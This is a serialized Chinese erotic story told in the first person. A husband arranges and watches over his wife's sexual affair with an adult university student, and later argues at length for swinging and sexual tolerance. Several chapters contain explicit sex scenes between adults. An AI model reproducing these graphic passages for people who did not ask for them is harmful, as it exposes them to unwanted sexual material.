图片载入中

我和妻子的故事,慢慢讲给你听

特大字】 【大字】 【中字】 【小字

(二十五)

接着说与小C 有关的故事。

小C 的寒假将满,马上要开学了。他回学校的时候,我们这个城市是他的必经之路。有一次妻子在和他通电话的时候,妻子把电话给了我,我对小C 说:“你按计划提前两天离家,也好在我们这里玩两天。”

小C 推辞说:“不用了,你们工作也忙,那样太给你们添麻烦了。”

我说:“没关系,最好能在周末过来,不在周末也没事,我们可以请假。” 小C 说:“那我就赶在周末过去吧,我回学校早一天晚一天都没关系。” 小C 过来的前一天晚上,妻子兴奋的什么似的。躲在被窝里偷偷问我:“老爸,这次你在家啊,我可以和他ML吗?”

我亲了亲那个坏蛋,说:“放心吧,老爸心里有数,我会给你提供机会的,我假装喝多不就行了?到时候你熘到小卧室里,你俩随便折腾。”

听了我这句话,妻子一下子缩进了被子里,含住了我的小弟弟,我也兴奋到了极点,拍了拍她的小PP,她很乖的倒过身来,我俩69式相互爱抚。用舌头亲吻她的可爱的花心的时候,我甚至产生了想整个人钻进去的欲望。那一夜我们做了两次,做的酣畅淋漓,第二次高潮的时候,妻子泪流满面,——每次妻子兴奋到颠峰状态时,都会流泪,这让我一直很奇怪。我对妻子说:“我要向骆驼学习,一次吃饱了能坚持多天。明、后两天我就不能做了,以免伤你身体。”

小C 是第二天中午到的,路程短,只有两个小时的火车。上午,我和妻子去菜市场买了好多菜。中午我独自去车站把小C 接回了家里。小C 装作第一次来我家的样子,进门就冲着我妻子夸奖:“好长时间没见,我老姐还是那样迷人。” 然后,挨个房间看,并一次次故作惊奇,比如看到我的书架时,说:“哇塞,老大,你竟然有这么多书。”

我一边嘴上应付,一边心里暗笑:“装什么洋蒜啊你,你小子对这个家的熟悉程度,一点都不比我差多少。”

吃过午饭,我和妻子开车带着小C 去我们当地的名盛古迹转了转,其实这些地方小C 先前都来过的。妻子仍旧大大咧咧的挽着小C 的胳膊。我提醒她说:“你有点正经样子,让熟人看到成什么了?”

妻子仍旧原来的口吻:“嘁,我弟弟,谁管得着嘛。”

转了一圈之后,我们回家准备晚饭,妻子下厨,小C 当打杂的,收拾鱼,择菜,两个人忙活得有模有样的。我独自躺在床上给女儿打电话,这个周末没让她回家,又把她气得暴跳如雷,一遍遍的在电话里骂我是“大灰狼”、“混蛋老爸”之类的话。在我做出很多新的承诺之后,女儿方才答应饶了我。

吃晚饭的时候,我独自一人喝白酒,妻子和小C 两人喝啤酒。我故意没话找话逗小C :“小子,放寒假路过这里,怎么没通知我们?”

小C 支吾着说:“事先发信息给我老姐了,说你出差,所以我就直接回家了。” 我心想:好小子,将来你肯定也是个不折不扣的混帐东西,现在就学会撒谎不脸红了。席间,妻子借酒装疯,一次次的往小C 碗里挟菜。凭直觉判断,妻子的脚肯定也没闲着,肯定在桌子下面偷偷挑逗他呢。

(二十六)

晚饭以后,妻子收拾碗筷,我和小C 坐在客厅里边喝茶边看电视,有一句没一句的闲聊天。不一会儿,妻子忙完了,也凑过来坐我旁边,对我说:“老东西,又在向年轻人放什么毒呢?”

我说:“不行了,我坚持不住了,喝酒喝的眼睛都睁不开了,你陪他看会电视吧,我先去睡了。”

没等妻子接茬,小C 很懂事地说:“你俩累了一天了,都去睡吧,我躺床上看会书。”

洗过澡之后,我回到了卧室里,躺在床上想着将要在小卧室里发生的一幕,回想起在网上看过的好多关于这方面的文章,我很奇怪自己为什么并没有别人形容的那样兴奋。不久,妻子也洗完澡回来了,穿着睡衣钻进了被窝里。我伸手摸了摸,睡衣内赤裸裸的。把妻子紧紧的抱在怀里,胡乱亲吻着。妻子悄悄的问我:“老公,你想不想要?”

我说:“乖,不要了,一会干干净净的过去。”

妻子说:“没关系,我可以再洗嘛。”

我捏了捏妻子的鼻子:“饶了我吧,坏东西,昨天晚上你都把我折腾半死了,你以为我是铁人啊。”

妻子握着我的小弟弟说:“那我要亲它一会儿。”

我说:“好吧,你这个淘气的东西。”

在妻子的刺激之下,不久我就控制不住了,翻身将妻子压在了身下,妻子一边乐着一边说:“一个铁人就这样诞生啦……”

想着一会儿要把身下这个可爱的女人交给别人,我勇猛异常,并趴在妻子的耳边说:“你这个淫荡的坏蛋。”

在我的强烈冲击下,妻子很快到了高潮,随后我也一泄如注。

气喘吁吁的从妻子身上下来,这回我是真的有点晕了。妻子搂着我,说:“老公,如果遇到特别喜欢的女人,我允许你偶尔胡来,但要让我知道,而且我要帮你把关。”

我说:“不要胡说,我特别喜欢的女人只有你。”

——这些话,我是发自于内心说的,并没有刻意哄妻子高兴的意思。不知为什么,自从把妻子重新拉回到身边之后,我的心里真的好像装不下别的女人了。而且,我经常控制不住地拿别的女人的缺点与妻子的长处相比,越是这样,越没有了出轨的欲望。

我俩就这样躺在床上胡乱煸情,转眼夜深了。我对妻子说:“过去吧亲爱的,别忘了先去洗洗。”

妻子的眼圈有点发红,很听话的说:“嗯,我会的,你等我,我一会就回来。” 我拍了拍她的小脸蛋:“乖,去吧,别弄的跟生离死别似的,我等你。” 妻子起身穿上睡衣,下了床,走到门口又退了回来,蹲在床边,故作正经地对我说:“老爸,你要等我回来,不许睡,否则我饶不了你。”

我侧身躺着,脸对脸地看着妻子,我心里清楚的很,她是在掩饰自己的尴尬,因为这一次与前两次不同,毕竟我在家里。我说:“别装了,心急火燎了吧?快点去吧,罗嗦什么,你这只馋嘴的猫。”

妻子脸一红,站起身抬起一条腿搭在床上作出欲上床的样子,对我说:“老家伙,你在嘲笑我,我不去了。”

我掀起被子,说:“那太好了,别去了,我现在也后悔了。”

听我这样说,妻子光着脚丫转身跑出了卧室。不一会儿,浴室传来了哗哗的水声。

(二十七)

没几分钟,水声停了,传来轻轻的并关门的声音,然后,一切都在夜色里恢复了平静。我独自躺在床上,一点睡意都没有,脑海里想像着另一个房间里的两个人正在热血沸腾的场面。想到这里,我了下床,轻轻的把房门打开一条缝隙。四周仍然一片寂静,只能偶尔听到远处传来的汽车声。本想熘过去偷听一下,想了想,算了,万一我不小心弄出什么动静就坏事了。于是,我回到床上重新躺下。不一会,那边突然传来了妻子压抑而又急促的呻吟,原来两人刚刚开始。

虽然我有充分的思想准备,而且,我也自认为自己的心理素质非常好。但是,这声音还是令我突然间醋意大发。因为这与上次看录像不同,录下来的东西,毕竟是过去的事情。而现在,此情此情却正在发生。那一瞬间,我突然非常后悔。好像自己把自己心爱的女人拱手推出了门外,好像我突然间丢失了最珍贵的东西。醋意、懊恼、失落,等等这种情绪接踊而来。我仿佛今生今世再也见不到妻子了,仿佛已经与妻子永远诀别了,这让我觉得整个人正在一个无底的深渊中急速下沉。妻子的呻吟声还在隐隐传来……突然间,泪水如同决了堤的江河,汹涌而出。此刻,我的内心委屈到了极点,好想好想趴在妻子的怀里嚎啕大哭。

我整个人在这种虚空的状态下,不知过了多久,浴室里又传出了哗哗的流水声,我知道他们结束了。回过神来的我急忙找纸巾快速把脸上的泪水擦干。不一会,妻子轻轻地走了进来。悄无声息地上床搂住了我,问道:“老爸,睡了没有?” 我说:“没睡呢亲爱的。”

我说话的声音把我和妻子同时吓了一跳。可能因为我哭的时间太久了,说话的声音怪怪的,好像伤了风一样。妻子打开床头灯,一脸惊恐地看着我:“亲爱的,你哭了?”

我再也忍不住了,一头钻进妻子的怀里,泪水再一次涌出,我哽咽着说:“亲爱的,你是不是不要我了。”

我的行为,一下子把妻子也弄哭了,她抱着我的头,不断地小声重复着:“对不起宝贝儿,对不起宝贝儿,都是我的错,以后再也不这样了……”

此时,我只是蜷缩在妻子怀里,无声地流泪。

过了好久,我的情绪终于平稳了一些。对一直惊恐不安的看着我的妻子说:“亲爱的,不是你的错,是我自己胡思乱想。刚才的一瞬间,好象已经与你生离死别了。”

妻子说:“傻孩子,我怎么离的开你啊,你比我自己的生命都重要。”

我说:“我知道,但是刚才听到你在那边的声音,我真的控制不住自己了,仿佛掉进了无底的深渊里。”

妻子又哭了,说:“对不起亲爱的,是我伤害了你,以后我再也不这样了。想想我都做了些什么啊……别伤心了亲爱的。无论任何时候,你都是我的唯一。” 这一夜,我俩彻夜未眠,就这样抱着,一次次的回忆我俩从相识、相恋到结婚的过程,以及婚后这么多年所经历的风风雨雨。这时,我已经彻底恢复了冷静。我平静地问妻子:“宝贝儿,你和他在一起的时候,是什么感觉?”

妻子说:“我一点都不骗你,我一直觉得他就是十几年前的你,和他在一起的时候,我一直想着的都是你,我好像通过时光隧道回到了咱俩的从前。” 接着,妻子充满歉意地说:“亲爱的,我太自私了,忽略了你的感受,以后我再也不这样了。”

看着妻子楚楚可怜的脸,柔情再一次从我心底泛起,我说:“别这么说,我只是偶尔的情绪低落,这也正常。我太在乎你了,因为害怕失去你,所以才会有这种反应,你别担心,我能调整好自己。”

过后,每想起妻子所说的“时光遂道”,我都会心情豁然开朗,——是的,如果现实中果真存在一条时光隧道,我们都不会拒绝重回年轻时代,让所有的错误都不再发生,让所有的完美都更加完美。但是,这个现实的时光隧道是不存在的。不过,虽然现实的时光隧道不存在,虚拟的时光隧道却可以在我们的努力之下产生。比如,妻子一面沐浴在我与她之间因时间的流逝而产生的浓浓的亲情里,一面还可以通过那条虚拟的时光隧道回到我与她的从前,这是多么美好的事情,谁会拒绝这种美好呢?而对于妻子来说,小C就是那条虚拟的时光隧道,当我想明白这一点,我的所有心结都随之打开,阴霾的情绪顿时烟消云散。

(二十八)

第二天早上,我和妻子早早的起了床,虽然一夜没睡,但精神却高度亢奋。小C还没有起来,或者是没睡醒,或者是因为昨晚干了亏心事儿不好意思出来。 妻子做好了早餐,让我去叫他。开门的声音把小C惊醒了,我说了一句:“快起来吃饭,年轻轻的睡什么懒觉。”

说完我转身回到了餐桌上。不一会,小C哈欠连天地过来了。我再一次犯坏地逗他:“你小子昨夜该不会是又去当飞贼了吧?怎么又困成这样。”

小C的一个哈欠被我这句话活生生的给吓了回去,嘿嘿笑着坐下来吃早餐。 席间,我对他说:“一会儿,让你姐带你去商场,她一直想买双鞋送给你。我就不陪你们了,我得去看我的宝贝女儿。”

小C推辞说:“不用了,我的鞋很多呢。”

我说:“废话,就算你鞋很多,哪一双是我们买的?嫌鞋子便宜是不是?你倒是想要笔记本电脑了,做梦吧你。”

小C再一次嘿嘿乐着说:“笔记本我也有。”

我对他说:“重要的不是鞋子,这是对你体贴女人的奖励,你在张家界买的那双鞋,你姐一直留着舍不得扔掉。瞧你那品味吧,那双鞋的样子难看死了。” 妻子伸出筷子打了我一下:“卸磨杀驴啊你,不记得那双鞋解决了多大的难题了?”

我继续对小C说:“小驴儿,放心,不杀你。偷着乐吧你,一双便宜鞋换回一双高档鞋,这就是体贴女人的好处。”

小C说:“那我就恭敬不如从命啦,不过,老哥老姐甭想用便宜货煳弄我,我眼光可高。”

我说:“这你放心,给你买双便宜货穿脚上,回到学校跟同学一说,我们都丢不起那人。”

吃过早饭,我开车把他俩送到了商场门口,看着他俩一同走进商场的大门,我暗自想,小C这小子估计心里偷着乐我呢:体贴女人的回报,何止是一双高档鞋子,连被体贴的女人都一起回报过来了。想到这里,我很感既:年轻人,你哪懂得这里面的奥妙。有道是:螳螂捕蝉,黄鹊在后,黄鹊后面有拿着弓箭的人,人的后面还有水沟。这就是真实的生活,而真实的生活永远都不会像1+1=2那样简单。

回到父母家里,上午陪女儿去肯德基,然后带她去书店买了一些她自己喜欢的课外读物,下午在父母家美美的睡了一觉,临近黄昏的时候,妻子打电话给我:“你怎么还不回家啊。”

我睡意蒙胧地说:“睡着了,别急,我马上回去。”

妻子说:“快回来吧,等你吃饭呢。”

父母已经准备好了晚餐,我不得不假意吃了一些,以免老人失望。吃过饭以后,又陪着女儿撒了一会欢儿,我离开了父母家。

刚进家门,小C就拎过来那双新买的鞋子向我显摆:“老大,看看眼红不,一千多块呢。”

我不屑地说:“真是穷汉得了狗头金,才一千多块钱的鞋就把你高兴成这样。” 小C说:“老大,你有没有搞错,我可是一个穷学生啊,有几个穷学生能穿起这么贵的鞋?”

——别看小C这么说,他是学生不假,却并不穷,他的父母都是公务员,虽不十分富裕,但也绝对不能算穷。而且,只有这么一个宝贝儿子,要不然去年夏天的时候怎么会花几千块钱让他随旅游团回学校。不过,就算不穷,可能也没有必要给孩子买这么贵的鞋吧。从这一点上来说,小C的兴奋是发自内心的。 吃过晚饭以后,看了一会电视,各自洗漱睡觉了。躺在床上,我问妻子,你俩这一天都干什么了?妻子说:“买完了鞋,陪小C去书店转了转,然后就回家了。”

我逗妻子:“下午在家干什么了?有没有干坏事儿?”

妻子说:“我发誓,没有。”

这让我很奇怪,问道:“为什么?你俩能忍住?”

妻子调皮地说:“因为光顾忙着干好事儿了,所以没时间干坏事儿。”

我禁不住被妻子逗乐了,问道:“好事儿干了几次啊?”

妻子想了想,歪着脑袋说:“一次。”

我继续问:“只有一次?”

妻子又想了想,说:“两次。”

我继续追问:“只有两次?”

妻子又开始犯坏,伸出手指头一个个地数,然后对我说:“老爸,把你的脚借我用一下,我的手指头和脚趾头不够用啦。”

我起身抓过妻子的脚,开始挠脚心,这是妻子最害怕的,连连求饶。

其实,他们俩从街里回家之后,只缠绵了一次,然后妻子就睡觉了,因为头天晚上彻夜未眠,所以妻子困得发昏。本来妻子要搂着小C睡,但小C非常害怕我临时回来,虽然妻子告诉他我回来之前肯定会打电话,小C还是不放心。所以妻子独自睡了,中间小C多次跑过来,亲一口或者咬一下把妻子弄醒,这种淘气行为,把妻子气得无可奈何。

妻子对我说:“我越来越发现这小子和你当年一个德行。”

这话不假,我和妻子刚结婚的时候,我也经常在妻子睡觉的时候把她咬醒。我问妻子:“你今晚过不过去了?”

妻子说:“不去啦,好好陪老公睡觉。”

我说:“没事,想过去就过去,要不然,等我睡着了你再过去也行,随你便。” 夜里,蒙胧中翻身的时候,感觉妻子不在身边,我脑海里念头一闪:这只馋猫又跑了。随即,我又睡了过去。

夜里睡眠质量很好,天刚蒙蒙亮我就醒了,妻子在身边很安祥的沉睡着。忍不住上去亲了一下。妻子睁眼看了看我,嘟囔一句:“讨厌……”

然后又睡了。

上午,我俩一起到车站送走了小C,火车临开的时候,妻子很自然的向他招着手。回想起第一次分别时妻子哭的鼻涕眼泪一大把的样子,我心里暗暗发笑,并冒出一个怪怪的念头:这孩子长大了……

(二十九)

小C走了,我与妻子的生活又恢复了平静。妻子和他仍旧用短信或电话沟通着。我提醒妻子说:“你得注意点了,别让他陷入太深,否则咱们就太缺德了。” 妻子说:“你放心吧,我有分寸。而且他比你想像中的要成熟很多。”

我转念一想,也是,去年的时候,妻子把他当成未成熟的孩子,我把他当成熟的大人。而现实的情形却不知不觉之中反过来了:妻子把他当成大人,我却又把他当成孩子了。

有一天下班,我刚进家门,看到妻子的鞋摆放在门口,得知妻子比我先一步回来了。不过,家里并没有做饭的气息,我叫了一声:“老伴,你忙什么呢?” 妻子的声音从书房里传了出来,语气有点慌乱:“没忙什么,在电脑上查点资料。”

我走进书房,妻子正手忙脚乱的关着网页。我说:“坏东西,查什么反对色情的东西呢。”

妻子掩饰着说:“胡说什么啊你,我只是查点工作中要用的东西。”

我走到电脑前,那张录有她和小C浪漫过程的光盘明显被移动了位置。我伸手拿起那张光盘,问妻子:“这是你的工作啊?”

妻子红着脸逃出了房间,丢下一句:“不跟你这个无聊的老东西说了……” 我在电脑前坐下,打开IE,查了一下历史记录,一些敏感词跳了出来:3P、夫妻交友……

妻子跑到厨房里做饭去了,我跟进了厨房,从后面抱住了妻子,问道:“亲爱的,是不是又想小C了?”

妻子挣扎着,说:“哪有啊,他刚走几天啊我就想。”

我说:“没想你看光盘干嘛?”

妻子说:“才没有呢,我找别的光盘顺手把那个盘换了地方。”

我对妻子说:“你个笨丫头,下次记住了,登陆完一些敏感网页以后,别忘了把浏览器的历史记录清空,家里的无所谓,用单位电脑的时候一定要记住。” 我这话把妻子吓了一跳,问我:“你怎么知道我登陆敏感网站了?”

我说:“你不知道IE上有个历史记录一项?”

听我这样说,妻子连忙拉着我的手往书房里走,很着急地说:“快点告诉我,怎样查。”

来到电脑前,我点开了历史记录,她刚才浏览的那些网页历历在目。妻子一下子羞得满脸通红。我问:“你是不是用单位的电脑也登陆这些网站了?” 妻子说:“没有,绝对没有。单位的电脑从来都是工作用的。”

我说:“那就没事儿了,乖,不用担心。”

妻子仍然心有余悸地说:“看来明天我得找个电脑培训班好好学学了,历史记录那个按钮我始终都不知道干什么用的。真可怕。”

我说:“呵呵,你们单位电脑培训的时候,你逃学带着女儿逛街,现在知道错了吧?”

晚上,坐在沙发上看电视,我突然想起她白天看的那些网页,于是问她:“你怎么想起查关于3P方面的文章了?”

妻子说:“没什么,就是随便看看。”

我问:“你想了?”

妻子断然否认,然后向我偎了过来,说:“最近我经常冒出给你找个女人的念头,总觉得委屈你了。”

我伸出一只手搂着她,说:“宝贝儿,没什么委屈的,我胡闹的时候已经过去了,你抓紧打消这个念头,你们年轻人的那些把戏,老夫我都不感兴趣喽。” 妻子说:“要不然,咱们哪天把你女同学勾过来吧。”

我说:“别缺德了你,少惦记人家良家妇女。”

妻子不服气地反驳我:“哼,是良家妇女,要不然能糟蹋我老公吗?”

我说:“你别恶心人了,你老公是纯洁少女啊,还‘糟蹋’,这话让别人听到,牙都得笑掉。”

妻子说:“那当然,在我眼里,我老公就是纯洁少女。”

我一把推开她,说:“你这个坏东西想玩同性恋是怎么的?找打啊?”

妻子又笑嘻嘻地凑了过来:“老爸,我就是觉得委屈你了嘛。”

我说:“乖女儿,别淘气。你别净瞎琢磨,等我真遇到了喜欢的女人,我会告诉你的。”

听我这么说,妻子又开始不讲理了:“老混蛋,不许喜欢别人!”

我说:“你看你看,左也是你右也是你,在你眼里,我就是案板上的鳖,伸头也是死,缩头也是死。”

妻子乐了:“逗你玩的,当什么真啊,小气鬼。”

睡觉的时候,躺要床上慢慢想着这些事情。我发现,事态一直朝着好的方向不断发展,而且,比我原来预料的要好出很多。最起码,妻子现在的开心快乐是由衷的,每天快快乐乐的上下班,闲着的时候弄一堆时装杂志研究自己衣服的款式,对女儿也不像以前那样动不动就犯急了。面对妻子这些潜移默化中的变化。对于我来说,目的已经达到了。

(三十)

夏日将至,天气渐渐变得暖洋洋的。一天傍晚,吃过晚饭以后,我和妻子坐在小区休闲花园的长椅上,看着周围一双一对闲逛的人们,不远处,几个小孩聚在一起嬉闹。我对妻子说:“宝贝儿,你说周围这些人如果知道咱们的事,他们会怎么想?”

妻子想了想,说:“不敢想象,那太可怕了,估计很多女人心里虽然羡慕我但她们嘴上仍会骂我下贱,而很多男人更会嘲笑你贱骨头,最后咱俩被唾沫星子淹死。”

我说:“面对现实的时候,我经常很恍惚,好像身处《镜花缘》中的两面国一样。”

妻子说:“或许咱俩的行为真的是太另类了,别说别人接受不了,放在几年前,如果我听到这种事情也不能接受,更不敢想象会发生在自己身上。”

我说:“算了,不想那么多了,简单中的快乐,快乐中的简单,只要咱俩开心,管他别人怎么想,这辈子我就这样无原则宠你了,爱谁谁。”

有时候,我真的非常不理解周围的谴责家们。这些人的行为,非常类似于把别人家的棺材抬到自己家里去哭。比如说吧,经常有一些人对他人的生活方式指指点点,虽然人家既没有损害到他,又没有妨碍到他。这就好比你正在家中坐着,突然冲进来一个陌生人,怒气冲冲地指着你的鼻子说:“你这种坐姿不好,你要换一个端庄的姿势,否则我受不了。”

——大爷,谁让你受了?我在我自己家里怎么坐也要你管吗?所以,对于这种人,你不需要和他讲道理,直接站起身来一脚把他踹出门去就对了。

我们经常在公共媒体上听到这样的话,比如谴责美国时,说:“这是个多极化、多元化的世界,要允许各种不同的意识形态并存。”

——抛开萨达姆是否真欠揍的因素不谈,意识形态并存的观点大多数人都会觉得正确,如果基督教试图消灭伊斯兰教,那就是错误的。最不济,也是自己玩自己的,谁也甭招谁。

一个健康的社会,同样也应当是多极化、多元化的。比如说贫富差距,贫富差距很大,本身并不可怕,比如美国,比尔盖茨和一个普通美国失业者相比,贫富差距大不大?非常大,但美国社会却相当稳定,一个非常重要的、也是唯一的原因就是:除了贫富两极,还有不穷不富的第三极:中产阶层。是这个最庞大的群体保持了社会的稳定。

再比如中国,如果中国只有贫富两极:一部分人富得流油,其他人都穷的尿血,这就要坏事了。国家最需要考虑的,不是消除贫富差距,而是想办法怎样迅速产生界于富人与穷人两极之间的第三极:既不十分富有,但绝对不贫穷的一个最庞大的群体作为社会中流砥柱。这才是一个安定的社会必须具备的重要元素。钟相在中国第一个喊出“均贫富,等贵贱”的口号,转眼八百多年过去了,纵观当下的世界,没有哪个国家做到了这一点。每一个试图强行这样做的国家,无一例外不是最终遭到了“等贱,均贫”的下场。

我之所以说了上面那么多,主要是想把话题最终导入我们要探讨的话题:多元化社会里,人的行为模式。

在一个健康的多元化社会里,应当是多种行为模式并存的,不过有一个前提:不能损害他人的利益。世上的事情,并非只有对与错两种,更多的是界于对、错之间的临界行为,刑事法上有一个重要原则:“法无明文规定不为罪。” 那么,我们可不可以这样认为:“行为不损害他人不为错”?我认为,这种说法,对极了。

如果他人的行为没有损害你、以及公众利益,虽然你可能不理解,因此不能接受。但是,除非有人让你强行理解、强行接受。否则,你无权谴责、无权嘲讽,更无权反对。否则就好比你冲进别人家里强行让主人换个端正的坐姿一样,这是一种十分欠揍的行为。如果你因此愤愤不平,那就相当于把别人家的棺材抬到自己家去哭,荒谬,昏聩。比如对于我来说,我不能接受虐恋(S/M )行为,也不能接受同性恋行为。但是,我并不因此认为那些行为不正常,我并不认为那些行为应当谴责。比如对于S/M ,通过李银河院士的分析,我们知道了,原来这是一种很正常的行为,类似于你情我愿的周瑜打黄盖,有些人在被虐过程中能得到强烈的性快感,有些人在虐人的过程中能得到强烈的性快感,人家两个人关起门折腾,与你外人毫无关系。除非S 爱好者拿鞭子跑大街上或者闯入你家中强行抽你,或者M 爱好者跪地求你抽他,否则,轮不到你认为不正常,再说一遍:与你无关。就像我非常不喜欢吃臭豆腐,但我不认为别人喜欢吃臭豆腐的行为很变态一样。倒是那些因为自己不喜欢吃臭豆腐,因此就大骂别人吃臭豆腐的行为很错误的人,非常变态。

昨天在讨论区里看到了一个关于一枝独秀的帖子,有位叫做xiehou的朋友跟帖非常精彩,摘录一段如下:“首先说明的是,我不赞成更不会去交友(这是个人选择问题不存在轻视或鄙夷),但是会尊重他人的生活方式。社会是朝前走的,个人的空间和权利会逐渐被他人认可、尊重,古人云‘己所不欲,勿施于人’正是此谓。”

——如果人人都能这样想,还会存在那些荒谬么?

无论是对于全世界范围之内,还是仅限于中国,S/M ,同性,群体性行为,等等这些,在相对比例上来说,都还仅仅是一个很小很小的群体。我实在弄不明白,怎么就把卫道士们吓成那样。

在当下的中国,虽然很多人满口仁义道德,大声赞美忠贞不二。但是,有一个事实我们是绝对回避不了的:真正做到一生忠贞不二的夫妻,少之又少,我毫不夸张地说,能够做到忠贞不二的夫妻的数量,比参加夫妻交友的夫妻的数量还要少。而更多的夫妻,选择的是欺骗,既欺人又自欺,否则,那些风月场所也不会越禁越多了。回顾我们的周围,朋友,同事,有几个忠贞不二的?你身边的同事,有多少是暗中苟合的?你身边的朋友,有几个是没嫖过娼的?你知道么?——因为这种事情太多,所以我们都麻木了,也就很少有人觉得不正常了。好比无官不贪的政坛,你贪我贪大家都贪,谁都不会笑话谁。面对这些,大家都认为正常。真的正常吗?想到经常拿传统美德来自吹自擂的中国人,竟然沦落到靠以建立在欺骗为基础的表面上忠贞不二的婚姻来支撑门面的地步,想到那些刚从风月场里提上裤子,回到家里马上就能非常坦然面对妻子的道德真君们,这令人觉得可笑,还是欲哭无泪?

回过头来再说夫妻交友行为,如果一对夫妻彼此通过坦诚的沟通,都能心甘情愿地接受这种方式,都会发自内心的觉得这样比道貌岸然各自出去寻欢要好,然后与另外一对抱有同样想法的夫妻在互相喜欢、互有好感的前提下,关起门在家里共同ML,与局外人有什么关系?损害着你什么利益了?损害到公众什么利益了?你主动跑到人家扒门缝偷窥,然后大叫受不了,是不是吃饱了撑的?我觉得,这种行为不但很没劲,而且实实的变态,这才是真正的变态。

(三十一)

时间过的真是好快,再有两个月,我们与小C 认识就满一年了。这一年里发生的很多事情,都足以令我们重新去审视自己的人生,从而对于人生,对于家庭,对于爱,都有了更深刻的理解和体会。

过了这个学期,小C 将结束他的学生时代,开始步入社会。原来我和妻子曾问过他毕业以后的去向,小C 一直满不在乎地说:“暂时没想,到时候再说。” 前两天,他给妻子发信息说,打算毕业以后来我们的城市发展。他的这种想法曾一度让我很担心,倒不是担心别的,主要是怕他深陷对妻子的情感之中不能自拔,最后弄伤了自己。如果这样,我和妻子可就真是作孽太深了。

一天晚上,我打电话给他,再次询问他毕业后的去向问题。小C 说:“现在基本上已经定下来了,回××市(注:我们家所在的城市)。”

我问他:“怎么想起来这里了?”

小C 说:“原来曾有过去北京或上海的打算,但是离父母太远,父母坚决不同意,再说那种大都市不容易站稳脚跟,所以最后决定回离家不远的××市。” 接后,小C 又笑嘻嘻地说:“这样多好啊,离老哥老姐近,随时能见到你们。” 小C 的解释,令我紧张的心放松下来好多。

接近六月末的一天晚上,和妻子在家吃晚饭的时候,妻子对我说:“小C 今天发信息说,因为这是他最后一个暑假了,所以先不准备回家,想直接去峨眉山玩几天再回来。”

我说:“哦,这也正常,工作以后就没有多少宽松时间了。”

妻子没再说什么。

吃过晚饭以后,妻子独自一人在电脑前鼓捣,往常这个时候,她一般会在游戏室里下围棋或者打扑克,偶尔看看电影。中间我去书房里找书的时候,发现妻子正在浏览旅游风景区的网页,关于峨眉山景区的概况介绍。我打趣道:“干嘛呢?也想去峨眉山?”

妻子说:“嘿嘿,随便看看罢了。”

晚上临睡前,妻子趴在我的怀里,突然问我:“老爸,如果我想去峨眉山,你会不是生气?”

我一下子没反应过来:“去峨眉山?我最近忙的要死,哪有闲暇陪你去峨眉山?”

妻子吞吞吐吐地说:“那,我就自己去呗。”

这时我才反应过来,一把揪住了她的耳朵:“啊?小混蛋,你越玩越大扯了是吧?还想与情人比翼双飞浪迹天涯啊?你是不是想活活气死我?”

听我这么说,妻子有点紧张,连忙说:“我就是随便说说嘛,老灯炮,你急什么。”

我想了想,对妻子说:“别紧张,我不是不让你去,对你,我没什么不放心的,我不放心的是他,毕竟他还年轻,你如果让他深陷其中不能自拔,这不是毁人嘛。”

妻子说:“好啦好啦,就显你有理智,我听你的不去还不成么。”

妻子很快睡着了,我却一直在琢磨这事儿,我不是舍不得让妻子单独去陪他玩,正相反,我反倒觉得如果我让妻子过去,就说明我太自私了。无论怎么说,小C 也都还不算是一个真正意义上的成年人,社会、人生对他来说都还只是一张白纸,将来,他会有自己的爱人和家庭,如果这件事给他造成了不好的阴影,贻害很可能出乎意料。比如斯皮尔伯格的影视作品《拯救大兵瑞恩》和《兄弟连》,在成年人看来,这是经典的对战争进行反思的强撼之作,但是,那些血腥场面儿童却不能接受。如果你让一群孩子来观看并试图让孩子接受这些东西,就太过分了。

可是一想到妻子内心的期盼,我又心软的不行。看着安祥的睡在身边的妻子,我回忆我们恋爱时的日子,那时我俩就经常一起憧憬着四处旅游,但是,由于经济条件不充许,一切都只能是梦想。现在,经济条件好了,但好像又找不到当年那种冲动了。临睡着之前,我蒙胧中下定决心:答应妻子的要求,让她乘坐时空隧道再一次回到从前。至于其他的顾虑,到时候再说吧,俗话说,车到山前必有路……

(三十二)

看到这里,可能会有人质疑:你把自己描绘的也太高大了吧?要说处处为自己的妻子着想,这还情有可原,但还能做到处处替妻子的情人着想,是不是有点太离谱了?

别急,听我解释一下,关于小C ,与其说我是在替他着想,其实从根源上还是为了我们自己,我要确保这个游戏的主动权抓在我的手里。但是,如果小C 陷得太深到欲罢不能的程度,最终很可能会伤害到妻子,甚至危害到我们的家庭,这是我绝对不能允许的。

第二天早上起来,望着窗外射进来的阳光,我突然又后悔了。说实话,我还没能达到彻底无私的境界,对此,我还需要时间考虑。想想很后怕,幸亏我昨晚没在暧昧的气氛中一时昏头草率答应妻子。

接下来的几天,妻子没再提这事,我也没再提,不过,内心里还是有一种隐隐的冲动,很多次差一点答应妻子。有一天晚上,我装作很随意地问妻子:“你真的很想去峨眉山吗?”

妻子没犹豫,很干脆地说:“真的不想了,那天我只是随便提一句,你别往心里去。”

我说:“其实我也不知道自己是怎么想的,从你的角度考虑,我很想让你去,但是,这件事情却让我非常不安。说实话,我还是舍不得你。”

妻子凑过来搂住我的胳膊,说:“亲爱的,我能理解,是我太过份了,你千万别往心里去,否则我会自责死。”

我亲了妻子一下:“乖,那你别怪我。”

妻子刮了我的鼻子:“行啦,解释什么啊,我知道这是因为你在乎我。我说过多次了嘛,是我太过份了。”

我呆呆地望着对面白色的墙壁,欲言又止。良久,妻子靠在我的肩膀上,幽幽地说:“老公,我是不是太得寸进尺了?”

我抱了抱她:“别瞎说,哪有那么严重。”

晚上,躺在床上的我再一次失眠。重新审视妻子欲与情人单独去旅游这事儿,越想越觉得有点发冷,我一次次地这样问自己:我是不是真的有点儿对妻子宠过头了?事情发展到现在,经历了如下过程:第一步:妻子仅仅是对小C 有好感,结果在我的怂恿和策划之下,她俩发生了实质上的关系,这时,妻子的态度还处于拒绝或者半推半就状态;第二步:我主动离家,把整个家都留给了妻子和情人,对此,妻子欣然接受;第三步,当我在家的时候,也同样给妻子提供机会让在我明知的情况下偷偷胡闹,这时,妻子已经兴高采烈了。

那么现在呢?妻子竟然主动提出要和情人单独旅游了,刺激的程度一步步加深,这与吸毒有什么两样?这样下去的结果呢?有结果还是没结果?在经历了程度不断加深的刺激之后,她还能不能回到原来平淡的生活?

我相信,当一个人对自己的爱人爱到一定程度时,可以进入完全忘我的状态,我对妻子就已经这样了,我想,起码在当下的中国,能做到像我这样无原则宠着妻子的男人,不多。但是,虽然我确信自己不会失去妻子,虽然我确信这个家不会毁掉,但如果我这样做的结果是致使她象吸毒一样越陷越深,这是不是不但害了她,同时也害了我自己呢?

(三十三)

